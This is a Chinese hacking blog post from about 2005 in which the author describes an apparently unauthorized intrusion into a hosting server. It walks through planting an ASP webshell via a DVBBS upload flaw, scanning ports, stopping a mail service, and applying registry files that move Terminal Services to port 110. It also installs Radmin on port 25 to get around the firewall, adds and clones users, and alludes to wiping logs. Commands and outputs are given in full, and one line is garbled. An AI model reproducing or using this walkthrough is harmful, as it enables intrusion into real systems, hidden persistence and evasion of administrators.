www.moko.cc ----李俊
QQ:5161155
 
这本来是,我在大三的时候写过的一篇文章。也是我的第一篇hack文章,虽然没什么技术含量。但值得收藏,所以转了过来,不要见笑。
本身是网络专业的,在学校的时候有几个知趣相投的哥们,大家都挺喜欢HACKing的,所以今天就把我最近的心得发表一下,要是大家喜欢,我以后就多写些自己的HACKing经历,没有什么技术含量,希望大家多多指教
前天晚上我的一个同学发现一网站,是个虚拟主机,竟然有 DVBBS6的上传漏洞。觉得是老问题了,在一点,现在这么多虚拟主机,也没抱什么希望。传了个 ASP后门,上去一看,我竟然能执行命令,还能遍历目录。接着,我就要看对方的环境了。
telnet 221.1**.6.82 80                
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 17 Dec 2005 21:24:35 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
遗失对主机的连接。
D:\hack\scan>
由此看来应该是 2K SERVER了,接下来我用 S扫了一下
D:\hack\scan>s tcp 221.1**.6.82 1-3389 300 /banner
TCP Port Scanner V1.1 By WinEggDrop
Normal Scan: About To Scan 3389 Ports Using 300 Thread
221.1**.6.82     25     -> "220 ESMTP on WebEasyMail [3.5.3.1] ready.   http://www
.51webmail.com"         请注意这里,下面突破的时候能用到这个端口
221.1**.6.82     110   -> "+OK POP3 on WebEasyMail [3.5.3.1] ready.   http://www.
51webmail.com"          请注意这里,下面突破的时候能用到这个端口
221.1**.6.82     53     -> NULL
221.1**.6.82     80     -> NULL
Scan 221.1**.6.82 Complete In 0 Hours 0 Minutes 36 Seconds. Found 4 Open Ports
看来只开了 4个基本服务的端口,在看看 IP地址
WEBSHELL里运行 ipconfig /all
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : ****server
Primary DNS Suffix   . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地连接 2:
Media State . . . . . . . . . . . : Cable Disconnected
Description . . . . . . . . . . . : Intel(R) PRO/100 Server Adapter
Physical Address. . . . . . . . . : 00-20-ED-5E-49-9E
Ethernet adapter 本地连接 :
Connection-specific DNS Suffix   . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
Physical Address. . . . . . . . . : 00-20-ED-5E-49-9F
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.0.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 202.99.***.68
有上述看见,这台服务器应该是在内网里了,网关应该是防火墙或是路由器之类的
可是我要怎么突破防火墙的呢?主机只开了 255380110,可能有朋友会说用鸽子等什么反弹连接的***,可是小弟我觉得还是尽量能利用系统自带的东东比较好,微软送我们的“后门”太多了
我想如果防火墙配置有缺陷的话,只是在网关上做了基于端口映射而不是包过滤等协议分析方面的设置
那么突破是有可能的
查看当前都运行了什么服务,在 WEBSHELL里运行
net start
已经启动以下 Windows 2000 服务 :
   Alerter
   Automatic Updates
   COM+ Event System
   Computer Browser
   DHCP Client
   DHCP Server
   Distributed File System
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   DNS Server
   EasyMail NT Service   <<<<<这就是开放 25110端口的服务了,这软件很多机都用呢!
   Event Log
   FTP Publishing Service
   IIS Admin Service
   Intel PDS
   Internet Authentication Service
   IPSEC Policy Agent
   License Logging Service
   Logical Disk Manager
   Message Queuing
   Messenger
   Microsoft Search
   MSSQLSERVER       <<<<<好的东西,转储过程都没删除,真不知道是怎么做的!
   Neon Responder
   Network News Transport Protocol (NNTP)
   NT LM Security Support Provider
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Access Connection Manager
   Remote Administrator Service
   Remote Procedure Call (RPC)
   Remote Registry Service
   Removable Storage
   RunAs Service
   Security Accounts Manager
   Server
   Simple Mail Transport Protocol (SMTP)
   Simple TCP/IP Services
   SNMP Service
   Symantec AntiVirus
   Symantec AntiVirus Definition Watcher
   System Event Notification
   Task Scheduler
   TCP/IP NetBIOS Helper Service
   Telephony
   Terminal Services      〈〈〈〈好东西,免的我帮他开启
   Terminal Services Licensing
   Windows Internet Name Service (WINS)
   Windows Management Instrumentation
   Windows Management Instrumentation Driver Extensions
   Windows Media Monitor Service
   Windows Media Program Service
   Windows Media Station Service
   Windows Media Unicast Service
   Workstation
   World Wide Web Publishing Service
大约就是这样子,我想环境大家都看明白了
我乃悸肥钦庋 模 热徊荒芊梦?FONT face="Times New Roman">3389端口的终端服务,那么如果我要是把“EasyMail NT Service”服务停用了,那么25和110端口不就让出来了吗,我们可以把终端服务的端口改成110, 在装个Radmin,把端口改成25,这样我就可以突破防火墙的限制,控制他的主机了,呵呵。道理很简单,接下来我为大家展示我的***过程
首先用WEBSHELL上传以下文件
sc.exe       <<<<<<不用我说,你知道
110.reg       <<<<<<将终端服务端口改成110端口用的注册表文件
3389.reg     <<<<<<将终端服务端口还原成3389端口用的注册表文件
server.exe     <<<<<<Ramin的服务端,端口我已经设置为25了,密码……呵呵
以下为110.reg和3389.reg文件的内容
110.reg内容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:0000006e
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:0000006e
3389.reg内容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
好了,上传到WEBSHELL的路径下,运行他们的时候要用绝对地址哦。
首先我们要是想让EasyMail NT Service服务停掉的话
net stop “EasyMail NT Service”  
可是终端服务改完端口后,是需要重新启动机器的,所以我用sc这个东西把
EasyMail NT Service的启动方式设置为手动启动
在WEBSHELL里输入命令(要绝对地址哦)
G:\h******\s**\s******\*****\********\*\sc.exe config EasyMail start= demand
net stop "EasyMail NT Service"
G:\h******\s**\s******\*****\********\*\regedit /s 110.reg
iisreset /reboot  
正在尝试重新启动……
等过一会,远程主机重新启动了,
我拿出终端连接器,输入221.1**.6.82:110
哈哈,真是久违的画面啊,可惜这里不让贴图,大家多包涵吧
现在可以利用WEBSHELL加个用户
我登陆后,运行了
G:\h******\s**\s******\*****\********\*\server.exe   <<<<<<我自己培植好的Radmin的服务端,这时候在用RADMIN连接他,连上远程主机后,看看
机器还没登陆呢,当然了,因为主机重新启动了,希望管理员不要追踪我哦,这也是我认为比较遗憾的一点
以下是还原主机设置的命令,我相信你能看得懂
G:\h******\s**\s******\*****\********\*\sc.exe config EasyMail start= auto
G:\h******\s**\s******\*****\********\*\sc.exe config ramin start= demand
G:\h******\s**\s******\*****\********\*\regedit /s 33891.reg
iisreset /reboot
至于怎么清除日志,呵呵,我想这个就不用说了
大家都明白
我自己还克隆了个用户,这也不用我说了,大家应该都比我熟练吧
我只是说了个思路, 以上也只能用到在防火墙配置不严密的时候,如果对方防火墙是基于包过滤的,我也没什么好的方法,听说国外有个软件http_tunnel.不过我觉得这个 软件在UNIX和linux比较稳定,在WIN下很容易引起IIS崩溃的,这也是我没有用它的原因,如果谁有好的方法,请告诉我,谢谢